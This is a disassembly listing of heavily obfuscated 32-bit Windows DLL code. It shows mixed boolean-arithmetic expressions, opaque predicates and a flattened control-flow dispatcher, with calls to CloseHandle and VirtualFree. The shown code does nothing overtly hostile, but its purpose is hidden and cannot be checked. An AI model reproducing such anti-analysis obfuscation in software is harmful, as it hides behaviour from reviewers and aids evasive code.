mov eax, edi
and eax, 0x95f7a81c
mov ebx, dword [ebp - 0x1c]
and ebx, 0x40084600
or ebx, eax
mov eax, dword [ebp - 0x2c]
xor eax, 0x9ff33112
and eax, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x95f7a81c
and eax, 0x6a0857e3
or eax, edx
xor eax, ebx
not edi
or edi, eax
mov ebx, edi
xor ebx, edi
not ebx
and ebx, esi
xor ebx, edi
xor ecx, 0xe6c2600f
mov eax, ecx
and eax, 0x45ca43d1
mov edx, dword [ebp - 0x24]
and edx, 0xba35bc2e
or edx, eax
mov eax, dword [ebp - 0x20]
or ecx, eax
and eax, 0x45ca43d1
mov esi, eax
mov eax, dword [ebp - 0x1c]
and eax, 0xba35bc2e
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, ebx
mov edx, dword [ebp - 0x18]
mov eax, edx
not eax
mov esi, eax
and eax, 0x5cf80f23
and edx, 0xa307f0dc
or edx, eax
mov eax, edx
mov edx, ecx
not edx
or esi, ecx
and ecx, 0x5cf80f23
and edx, 0xa307f0dc
or edx, ecx
not esi
xor edx, eax
or edx, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x400808c1
mov ecx, edx
and ecx, 0x10118300
or ecx, esi
mov esi, ecx
xor esi, 0x18100
xor ecx, 0xefee7cff
mov edi, ecx
and edi, 0x59d612c4
and esi, 0x98901
or esi, edi
mov edi, edx
xor edi, 0x50198bc1
and edi, edx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0x59d612c4
and edi, 0xa629ed3b
or edi, ebx
xor edi, esi
not ecx
or ecx, edi
mov edi, ecx
xor edi, 0xf645008
xor ecx, 0x10341
and ecx, 0xa0832777
and edi, 0x5f7cd888
or edi, ecx
mov ecx, edi
xor ecx, 0x1b3c4808
and ecx, 0x1b3e6e4e
xor edi, 0xa0810131
and edi, 0xe4c191b1
or edi, ecx
mov esi, edi
xor esi, 0x1b3e6e4e
and esi, edi
mov ecx, eax
and ecx, 0xe4c191b1
and edx, 0x1b3e6e4e
or edx, ecx
xor eax, edx
and eax, edx
mov edx, eax
not edx
mov ecx, esi
xor ecx, edx
and edx, 0x5a3583d8
and eax, 0xa5ca7c27
or eax, edx
and ecx, esi
xor eax, esi
mov esi, ecx
not esi
mov edx, esi
and edx, 0x13ff7db
and ecx, 0xfec00824
or ecx, edx
mov edx, eax
xor edx, 0x5a000000
xor eax, 0xa5ca7c27
or esi, eax
and eax, 0x13ff7db
and edx, 0xfec00824
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov dword [ebp - 0x18], esi
mov esi, dword [ebp - 0x28]
mov eax, esi
and eax, 0x5ee3cd90
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xa11c326f
or ecx, eax
mov eax, ecx
xor eax, 0x16c00c80
xor ecx, 0x80080048
and eax, 0x37d43ea7
and ecx, 0xc82bc158
or ecx, eax
and edx, 0x5c7dc81e
mov eax, esi
and eax, 0xa38237e1
or eax, edx
mov edx, eax
xor edx, 0xa38237e1
xor eax, 0x4c61c814
and eax, 0x6d61df95
mov esi, eax
mov eax, edx
and eax, 0x929e206a
or eax, esi
xor eax, 0x929e206a
or eax, edx
mov esi, eax
not esi
and eax, 0xd8f98cde
mov ebx, esi
and ebx, 0x27067321
or ebx, eax
mov eax, ebx
xor eax, 0x27067321
mov dword [ebp - 0x14], eax
and eax, 0xc0100c98
and esi, 0x3feff367
or esi, eax
mov dword [ebp - 0x20], esi
mov eax, ecx
xor eax, 0x37d43ea7
mov dword [ebp - 0x1c], eax
mov edi, ecx
xor ecx, 0x83bcdc0
mov edx, ecx
and edx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x5fc7d343
and edx, 0xa0382cbc
or edx, eax
xor edi, 0xc82bc158
and ecx, edi
mov eax, ecx
not eax
or esi, eax
and eax, 0x5fc7d343
and ecx, 0xa0382cbc
or ecx, eax
xor ecx, edx
not esi
or esi, ecx
xor esi, dword [ebp - 0x20]
mov eax, edi
and eax, 0xc9c5d4fd
mov ecx, dword [ebp - 0x1c]
and ecx, 0x363a2b02
or ecx, eax
xor ebx, 0xd8f98cde
or edi, ebx
and ebx, 0xc9c5d4fd
mov eax, dword [ebp - 0x14]
and eax, 0x363a2b02
or eax, ebx
xor eax, ecx
not edi
or edi, eax
not edi
or edi, esi
mov edx, dword [ebp - 0x18]
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x11820300
mov esi, edx
and esi, 0x2005d0c8
or esi, eax
xor esi, 0x2005d0c8
mov eax, edx
xor eax, 0x3187d3c8
and eax, edx
or esi, eax
not eax
and eax, 0xce782c37
and esi, 0x3187d3c8
or esi, eax
mov eax, edi
not eax
mov edx, eax
and edx, 0x1bc54775
mov ebx, edi
and ebx, 0xe43ab88a
or ebx, edx
xor ebx, 0xe43ab88a
not esi
or esi, ebx
and edi, 0x1d06b298
and eax, 0xe2f94d67
or eax, edi
mov edx, esi
xor edx, esi
xor eax, 0xe2f94d67
or eax, ecx
not edx
and edx, eax
xor edx, esi
or esi, eax
mov eax, edx
not eax
mov edi, eax
and edi, 0x2327225d
and edx, 0xdcd8dda2
or edx, edi
xor edx, esi
xor edx, 0xdcd8dda2
or eax, esi
not eax
or eax, edx
mov edx, eax
not edx
and ecx, 0xcb3dc077
mov esi, dword [ebp - 0x18]
and esi, 0x34c23f88
or esi, ecx
mov ecx, esi
xor ecx, 0x34422780
xor esi, 0xc83d8030
and esi, 0xc8bd9838
and ecx, 0x374267c7
or ecx, esi
mov esi, ecx
xor esi, 0xb59030
xor ecx, 0x374267c7
mov edi, edx
xor edi, ecx
and edi, edx
and eax, 0xdd082e8e
and edx, 0x22f7d171
or edx, eax
and ecx, 0xdd082e8e
and esi, 0x22f7d171
or esi, ecx
xor esi, edx
or esi, edi
cmp esi, 0xffffffff
sete al
cmp dword [0x10049904], 0xa
setl ah
setge byte [ebp - 0x1c]
mov edx, eax
inc dl
mov byte [ebp - 0x18], dl
mov ecx, eax
mov byte [ebp - 0x14], al
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, cl
xor al, 1
mov ch, cl
xor ch, al
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
mov al, ch
xor al, 1
and ch, al
xor ch, 1
mov dl, ch
xor dl, al
or ch, al
mov al, ch
xor al, 1
or dl, al
mov ebx, edx
xor bl, 1
mov cl, ch
and cl, bl
mov dh, dl
and dh, al
or dh, cl
mov bh, dh
xor bh, bl
and bh, dh
xor ch, bl
and ch, al
xor al, dl
and al, dl
mov cl, ch
xor cl, 1
xor ch, al
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
mov ch, cl
and ch, bh
xor bh, 1
and al, bh
or al, ch
or bh, cl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
mov ch, bh
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, bh
mov bh, ch
xor bh, 1
mov al, bl
and al, dl
xor al, 1
mov cl, dl
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
and al, bl
or bl, cl
xor bl, 1
and cl, dl
or cl, al
or cl, bl
mov al, cl
xor al, 1
mov dh, al
and dh, cl
xor al, dh
xor dh, 1
or dh, cl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and al, bh
and ch, dh
or ch, al
mov al, bh
xor al, dh
or dh, bh
xor dh, 1
or dh, al
mov cl, dh
xor cl, 1
mov al, cl
and al, dh
xor cl, al
xor al, 1
or al, dh
xor al, 1
or al, cl
mov bh, al
xor bh, 1
mov bl, ch
xor bl, 1
mov dh, ch
and dh, bl
xor dh, 1
mov cl, dh
xor cl, bl
or dh, bl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
and cl, al
and dh, bh
or dh, cl
xor bl, bh
or al, ch
xor al, 1
or al, bl
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
mov ch, dh
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dh
mov cl, ch
xor cl, al
or ch, al
xor ch, 1
or ch, cl
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
xor cl, 1
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
movzx edx, byte [ebp - 0x1c]
and ch, dl
mov bh, byte [ebp - 0x18]
mov cl, bh
or cl, dl
xor cl, 1
mov dh, dl
xor dh, byte [ebp - 0x14]
and dh, dl
mov bl, dl
or dh, cl
xor dh, 1
or dh, ah
mov dl, bh
mov cl, bh
and cl, ah
or dl, ah
mov bh, dl
mov dl, ah
and dl, al
or dl, ch
xor al, dl
mov ah, dl
xor ah, bl
or ah, al
and ah, dl
mov ch, byte [ebp - 0x14]
and bl, ch
or cl, bl
xor ch, cl
and ch, cl
mov dl, bh
xor dl, 1
mov cl, ch
xor cl, 1
mov al, cl
and al, ch
xor cl, al
xor al, 1
or al, ch
xor al, 1
or al, cl
xor al, dl
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov al, dh
xor al, dl
or dl, dh
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov al, cl
and al, dl
xor al, 1
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov ch, al
xor ch, 1
xor al, cl
or ch, dl
xor ch, 1
or ch, al
mov al, ch
xor al, 1
mov edx, eax
mov cl, ah
not cl
and cl, ah
xor cl, 1
mov al, ah
xor al, cl
or cl, ah
xor cl, 1
or cl, al
mov dh, cl
mov byte [ebp - 0x24], cl
xor dh, 1
mov eax, edx
mov byte [ebp - 0x18], dl
mov byte [ebp - 0x14], ch
and dl, ch
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov byte [ebp - 0x28], al
mov ah, cl
and ah, dh
xor ah, 1
mov ch, dh
xor ch, ah
mov al, dh
or al, ah
xor al, 1
or al, ch
mov ch, ah
or ch, cl
xor ch, 1
mov byte [ebp - 0x1c], ch
mov byte [ebp - 0x20], dh
mov bh, dh
or bh, ch
xor bh, 1
or bh, dh
xor bh, 1
or bh, al
mov bl, dl
or bl, byte [ebp - 0x14]
mov al, bl
xor al, 1
mov ch, bl
and ch, dl
mov cl, byte [ebp - 0x28]
mov dh, cl
and dh, al
or dh, ch
mov ch, dh
xor ch, dl
and ch, dh
mov dh, cl
and dl, cl
xor dl, 1
xor cl, dl
or dl, dh
xor dl, 1
or dl, cl
and bl, al
xor bl, 1
mov dh, al
xor dh, bl
or bl, al
xor bl, 1
or bl, dh
mov al, dl
xor al, 1
and al, bl
xor bl, 1
and bl, dl
or bl, al
mov dl, ch
xor dl, bl
or bl, ch
xor bl, 1
or bl, dl
xor dl, 1
mov al, dl
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov bl, al
and al, dl
xor al, 1
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
xor bh, 1
xor bl, bh
and bl, bh
xor al, 1
or al, bh
xor bl, 1
mov edx, eax
xor dl, bl
xor dl, 1
or bl, al
mov al, dl
xor al, bl
or bl, dl
xor bl, 1
or bl, al
movzx ecx, byte [ebp - 0x24]
xor ah, cl
or ah, byte [ebp - 0x1c]
mov al, ah
movzx edx, byte [ebp - 0x14]
xor al, dl
mov dh, byte [ebp - 0x20]
and dh, dl
mov ch, byte [ebp - 0x18]
and cl, ch
or cl, dh
mov dl, ch
xor dl, ah
xor al, 1
or ah, ch
xor ah, 1
or ah, al
xor ah, 1
or ah, dl
mov al, cl
xor al, 1
mov dl, ah
mov ch, al
xor al, ah
xor ah, 1
and dl, cl
and ch, ah
or ch, dl
or ah, cl
xor ah, 1
or ah, al
xor ah, 1
or ah, ch
mov al, ah
xor al, 1
and ah, al
xor ah, 1
mov ecx, eax
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov al, bl
xor al, 1
mov ecx, eax
xor cl, ah
and ah, bl
mov ch, al
xor ch, dl
and ch, al
and al, dl
or al, ah
mov dl, ch
xor dl, 1
xor ch, al
xor al, 1
or al, dl
xor al, 1
or al, ch
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xee994b92
mov esi, 0x56a0f5e8
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0xee994b92
cmove eax, ecx
jmp 0x1000f5c0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0x362dc209
jmp 0x1000f5c0
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x51c8f4c8
jmp 0x1000f5c0
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov dword [ebp - 0x18], ecx
mov eax, edx
mov ebx, edx
mov dword [ebp - 0x1c], edx
and eax, 0xdd9e325c
mov edx, ecx
and edx, 0x2261cda3
or edx, eax
mov eax, edx
xor eax, 0xdd9e325c
mov ecx, edx
xor ecx, 0x224109a2
and ecx, 0xaacf39b6
xor edx, 0x367b3883
and edx, eax
and eax, 0x5530c649
or eax, ecx
mov ecx, eax
xor ecx, 0x41000209
xor eax, 0xaac50896
or eax, 0x141af520
mov esi, eax
and esi, 0x22311576
and ecx, 0xc9c40a89
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0x22311576
and edx, 0xddceea89
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
xor edx, 0xebe50adf
mov ecx, eax
xor ecx, 0x397fd151
and ecx, edx
mov esi, ecx
not esi
mov edi, esi
and edi, 0xa8b4074a
and ecx, 0x574bf8b5
or ecx, edi
or edx, 0x2d652471
xor eax, 0x100ad000
or esi, edx
and edx, 0xa8b4074a
and eax, 0x520ad884
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
xor edx, 0xd2004b0e
xor esi, 0xc9ab4d0
mov eax, esi
and eax, 0x21ff90a1
and edx, 0xde006f5e
or edx, eax
not edx
or edx, esi
mov eax, dword [ebp - 0x18]
and eax, 0xe1b5486c
mov esi, ebx
and esi, 0x1e4ab793
or esi, eax
mov eax, esi
xor eax, 0x1e4ab793
xor esi, 0x81b10064
and esi, 0x87bb02f4
mov ecx, eax
and ecx, 0x7844fd0b
or ecx, esi
mov esi, ecx
xor esi, 0x7844fd0b
mov edi, ecx
xor edi, 0xe12dab4b
and edi, esi
and eax, 0x99695640
or eax, edi
xor ecx, 0x50000d4
and ecx, 0x7d0049d4
mov edi, esi
and edi, 0x82ffb62b
or edi, ecx
xor edi, 0x5cffd975
and esi, 0x21ff90a1
or esi, edi
xor eax, 0xb896c6e1
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, esi
and ecx, 0xcdbfc29
and eax, 0xf32403d6
or eax, ecx
xor eax, 0xcdbfc29
xor esi, eax
and esi, eax
mov eax, esi
not eax
mov dword [ebp - 0x14], eax
and eax, 0xf2e6ba61
mov edi, esi
and edi, 0xd19459e
or edi, eax
mov ebx, edx
not ebx
mov ecx, edx
and ecx, 0x135ca307
mov eax, ebx
and eax, 0xeca35cf8
or eax, ecx
mov ecx, eax
xor ecx, 0x40000050
xor eax, 0x400200
or eax, 0x9e09892c
and eax, 0xbe4b8bac
and ecx, 0x41140053
or ecx, eax
xor edi, 0xd19459e
or edi, edx
or edx, 0x20420280
and edx, 0xbe4b8bac
and ebx, 0xa07400
or ebx, edx
xor ebx, ecx
mov eax, esi
xor eax, 0x615602d3
and eax, esi
or esi, 0x9ea9fd2c
mov ecx, esi
and ecx, 0x1b8fa42e
mov edx, dword [ebp - 0x14]
and edx, 0x605002d1
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x1b8fa42e
and eax, 0xe4705bd1
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, ebx
xor eax, esi
mov ecx, edi
not ecx
mov esi, eax
not esi
mov edx, ecx
xor edx, esi
and edx, ecx
and edi, 0xddce1c17
and ecx, 0x2231e3e8
or ecx, edi
and esi, 0xddce1c17
and eax, 0x2231e3e8
or eax, esi
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb485343b
mov edi, eax
and edi, 0x4b7acbc4
or edi, edx
xor edi, 0x4c2e96c4
mov esi, eax
and esi, 0xf8aba2ff
or esi, edi
and ecx, 0xb8b3a68e
and eax, 0x474c5971
or eax, ecx
mov edx, eax
xor edx, 0x474c5971
xor eax, 0xa0b2a08c
and eax, 0xa3bea1ad
mov ecx, edx
and ecx, 0x5c415e52
or ecx, eax
xor ecx, 0xa4eafcad
and edx, 0x7545d00
or edx, ecx
mov eax, esi
not eax
mov ecx, eax
xor ecx, edx
and ecx, eax
xor edx, esi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xd46b7769
and ecx, 0x2b948896
or ecx, esi
mov esi, edx
not esi
or eax, esi
and esi, 0xd46b7769
and edx, 0x2b948896
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
xor edx, 0x6088820
xor eax, 0xc144305b
and eax, 0xe1e775db
and edx, 0x1e188a24
or edx, eax
mov eax, edx
xor eax, 0x1e188a24
mov ecx, edx
xor ecx, 0x13418
and ecx, 0x16013e1c
xor edx, 0x809b499
and edx, eax
and eax, 0x1000a1
or eax, ecx
xor eax, 0x1000a1
or edx, eax
mov dword [ebp - 0x14], edx
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
and ecx, 0x85a12914
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x28040008
or eax, ecx
mov ecx, eax
xor ecx, 0x8040000
xor eax, 0x9281ba17
and eax, 0xb281ba1f
and ecx, 0xd240100
or ecx, eax
mov edx, ebx
or edx, 0xa081281c
and edx, 0xb281ba1f
mov eax, esi
and eax, 0x405a44e0
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x500054e0
xor eax, 0x8c000010
and ecx, 0x71a57dec
and eax, 0x8e5a8213
or eax, ecx
mov ecx, ebx
and ecx, 0xee96bc46
mov edx, esi
and edx, 0x116943b9
or edx, ecx
mov esi, eax
xor esi, 0x5a0013
xor edx, 0x116943b9
xor ebx, edx
and ebx, edx
mov edx, eax
xor edx, 0x71a57dec
xor eax, 0x15f051b
and eax, edx
and esi, 0x70fa78f7
or esi, eax
mov edi, ebx
xor edi, 0x8f058708
mov ecx, edi
and edi, ebx
mov eax, ebx
not eax
and ecx, eax
or edi, ecx
xor edi, esi
mov esi, dword [ebp - 0x14]
mov ecx, esi
xor ecx, 0x16113ebd
or eax, edx
not eax
or eax, edi
xor esi, 0xe9eec142
mov edi, esi
mov edx, esi
and edi, 0xd6e55077
mov esi, eax
not esi
mov ebx, edx
xor ebx, esi
mov edx, esi
or esi, ecx
and ebx, ecx
mov dword [ebp - 0x14], ebx
and ecx, 0x291aaf88
or ecx, edi
and edx, 0xaa6a6f97
and eax, 0x55959068
or eax, edx
mov edx, ecx
xor edx, 0x290a0408
xor ecx, 0xd6e55077
mov edi, ecx
and edi, 0x8694fbd1
and edx, 0x796b042e
or edx, edi
mov edi, eax
xor edi, 0x51010028
xor eax, 0xaa6a6f97
or ecx, eax
and eax, 0x8694fbd1
and edi, 0x796b042e
or edi, eax
xor edi, edx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
not esi
mov eax, dword [ebp - 0x14]
or eax, esi
mov dword [ebp - 0x14], eax
mov edx, ecx
and edx, 0x205d3242
mov esi, ecx
xor esi, 0xdfa2cdbd
and esi, ebx
or esi, edx
mov dword [ebp - 0x1c], esi
mov esi, eax
not esi
mov edx, eax
xor edx, 0x205d3242
and edx, esi
mov dword [ebp - 0x18], esi
mov edi, edx
not edi
mov eax, edi
and eax, 0x66fa58a
and edx, 0xf9905a75
or edx, eax
or esi, 0x205d3242
or edi, esi
and esi, 0x66fa58a
mov eax, dword [ebp - 0x14]
and eax, 0xd9804835
or eax, esi
xor eax, edx
not edi
or edi, eax
mov edx, edi
xor edx, edi
not edx
and edx, dword [ebp - 0x1c]
xor edx, edi
mov eax, ebx
and eax, 0x6a57510d
and ecx, 0x95a8aef2
or ecx, eax
mov eax, dword [ebp - 0x14]
or ebx, eax
and eax, 0x6a57510d
mov esi, eax
mov eax, dword [ebp - 0x18]
and eax, 0x95a8aef2
or eax, esi
xor eax, ecx
not ebx
or ebx, eax
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x721683be
mov esi, ebx
and esi, 0x8de97c41
or esi, eax
mov edx, esi
xor edx, 0x9010000
xor esi, 0x20000092
mov edi, ecx
or edi, 0xa0e00092
or esi, 0x610bc48
and esi, 0xa6f0bcda
and edx, 0x19050004
or edx, esi
and edi, 0xa6f0bcda
mov esi, ebx
and esi, 0x400a4321
or esi, edi
xor esi, edx
mov eax, esi
xor eax, 0x461aff69
xor esi, 0x8ba56167
and esi, eax
or ecx, 0x324061f1
mov edx, esi
xor edx, ecx
and edx, esi
and ecx, 0xd9a858dd
and ebx, 0x4178602
or ebx, ecx
xor ebx, esi
mov esi, ebx
xor esi, 0xd9a858dd
mov ecx, edx
not ecx
xor ebx, 0x2657a722
mov eax, ecx
and eax, 0xa9ae83d4
and edx, 0x56517c2b
or edx, eax
or ecx, ebx
and ebx, 0xa9ae83d4
and esi, 0x56517c2b
or esi, ebx
xor esi, edx
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0xcdbf9e0e
xor ecx, 0x324061f1
mov edx, eax
or edx, 0x5408e000
mov esi, ecx
or esi, 0x21040d40
and edx, 0x750ced40
mov edi, ecx
and edi, 0xad002a8
or edi, edx
and esi, 0x750ced40
mov edx, eax
and edx, 0x80231017
or edx, esi
xor edx, edi
mov esi, edx
xor esi, 0x2bd40fe8
xor edx, 0xd42bf017
and ecx, edx
and esi, eax
or esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
setne dl
sete ah
cmp dword [0x10049904], 0xa
setge cl
setl ch
mov dh, ah
xor dh, dl
mov al, dh
not al
and al, dh
xor al, 1
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov dh, ah
xor dh, al
xor al, 1
mov bl, ah
or bl, al
mov bh, dh
xor bh, 1
xor bl, 1
or bl, bh
mov bh, dh
xor bh, bl
or bl, dh
xor bl, 1
or bl, bh
mov dh, bl
xor dh, 1
and dh, bl
xor dh, 1
mov bh, bl
xor bh, dh
or dh, bl
xor al, ah
xor al, 1
xor dh, 1
or dh, bh
mov bl, dh
xor bl, 1
or bl, al
xor dh, al
mov al, dh
xor al, bl
or dh, bl
xor dh, 1
or dh, al
xor dh, 1
mov al, dh
xor al, ch
mov ebx, ecx
and bl, ah
and dl, ch
or dl, bl
xor dl, 1
or dl, ah
mov ebx, ecx
xor bl, ah
or cl, ah
or ah, ch
and ch, al
and al, dh
mov dh, ch
xor dh, 1
xor ch, al
xor al, 1
or al, dh
xor al, 1
or al, ch
mov ch, ah
xor ch, 1
xor cl, 1
or cl, bl
mov dh, cl
xor dh, dl
xor dh, 1
or cl, dl
mov dl, dh
xor dl, cl
or cl, dh
xor cl, 1
or cl, dl
and ah, ch
xor ah, 1
mov dl, ch
xor dl, ah
or ah, ch
xor ah, 1
or ah, dl
mov ch, cl
xor ch, 1
mov dl, ch
and dl, cl
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
xor dl, 1
mov ch, ah
xor ch, dl
or dl, ah
xor dl, 1
mov cl, ch
xor cl, 1
and ch, ah
or ch, cl
and cl, ah
or cl, dl
mov dl, ch
xor dl, 1
mov ah, dl
and ah, ch
xor dl, ah
xor ah, 1
or ah, ch
xor ah, 1
or ah, dl
mov ch, ah
xor ch, 1
mov edx, ecx
xor dl, 1
and ah, dl
and cl, ch
or cl, ah
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov edx, ecx
and dl, ah
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, al
xor ah, 1
mov ch, ah
or ch, cl
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
or dl, al
xor dl, 1
xor ch, 1
or ch, dl
mov dh, ch
xor dh, 1
mov dl, ah
and dl, dh
and ch, al
or ch, dl
xor dh, ch
and dh, ch
mov dl, ah
and dl, al
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
xor dl, 1
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
xor al, 1
and al, cl
or cl, dl
xor cl, 1
or cl, al
mov al, dh
xor al, 1
mov dl, al
or al, cl
xor cl, 1
or dl, cl
or cl, dh
xor cl, 1
xor al, 1
or al, cl
mov ah, al
xor ah, 1
mov cl, ah
and cl, al
mov ch, ah
xor ch, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, ch
xor cl, dl
xor ah, dl
xor dl, 1
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x1c969ba7
mov esi, 0x513cbc81
cmovne edx, esi
test al, 1
mov eax, 0x1c969ba7
jmp 0x10027579
mov eax, dword [0x10049900]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x87317721
mov esi, ecx
and esi, 0x78ce88de
or esi, edx
mov edx, esi
xor edx, 0x10880812
xor esi, 0x1304420
and esi, 0x132c464
and edx, 0x10880a12
or edx, esi
mov edi, eax
and edi, 0xa178912
mov esi, ecx
and esi, 0xf5e876ed
or esi, edi
mov ebx, esi
xor ebx, 0xf5e876ed
xor esi, 0x70100
and esi, 0xa1477381
mov edi, ebx
and edi, 0x5eb88c7e
or edi, esi
xor edi, 0xb0fdbdf7
and ebx, 0x11bace76
or ebx, edi
mov esi, edx
xor esi, 0x132c464
xor edx, 0xfecd3b9b
mov edi, esi
xor edi, ebx
and edi, esi
xor esi, edx
and esi, ebx
xor esi, edx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x23bffee2
and edi, 0x10000014
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x23bffee2
and esi, 0xdc40011d
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov edi, edx
not edi
mov esi, edx
xor esi, 0xee453189
and esi, edx
or edx, 0x11bace76
mov ebx, edx
and ebx, 0x6eec7fb9
and edi, 0x80010000
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x6eec7fb9
and esi, 0x91138046
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
not esi
mov ebx, edx
and ebx, 0x7da1d878
mov edi, esi
and esi, 0x825e2787
or esi, ebx
and edi, edx
mov ebx, edi
not ebx
or edx, ebx
and ebx, 0x7da1d878
and edi, 0x825e2787
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
mov edi, esi
or edi, 0x23a14063
and edi, 0x2bb1e27b
mov ebx, edx
and edx, 0x4441d84
or edx, edi
or ebx, 0x810a218
and ebx, 0x2bb1e27b
and esi, 0xd00a0000
or esi, ebx
xor esi, edx
mov edi, esi
not edi
mov edx, edi
and edx, 0xc54bf9c
and esi, 0xf3ab4063
or esi, edx
xor edi, esi
and edi, esi
mov edx, eax
and edx, 0xaa0040c0
and ecx, 0x1c00a00
or ecx, edx
xor ecx, 0x1c00a00
and eax, 0x543fb53f
or eax, ecx
mov edx, eax
not edx
mov esi, edx
and esi, 0x796f8616
mov ecx, eax
and ecx, 0x869079e9
or ecx, esi
and eax, 0xee6304b7
mov esi, edx
and esi, 0x119cfb48
or esi, eax
mov eax, ecx
xor eax, 0x8808671
xor esi, 0xe237bb2b
and edx, 0xc54bf9c
or edx, esi
xor ecx, 0x753b398a
mov esi, ecx
and esi, 0xc3456904
and eax, 0x3cba96fb
or eax, esi
mov esi, edx
not esi
or ecx, edx
and edx, 0xc3456904
and esi, 0x3cba96fb
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x129e52c5
and edx, 0xed61ad3a
or edx, eax
xor edx, 0xed61ad3a
or edx, ecx
mov esi, edi
mov dword [ebp - 0x24], edi
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x3ea7307f
and esi, 0xc158cf80
or esi, ecx
mov ecx, edx
mov ebx, edx
mov dword [ebp - 0x14], edx
not ecx
mov edx, ecx
and edx, 0x5082677d
and ebx, 0xaf7d9882
or ebx, edx
mov edi, esi
xor edi, 0xc158cf80
mov dword [ebp - 0x28], edi
xor esi, 0x3ea7307f
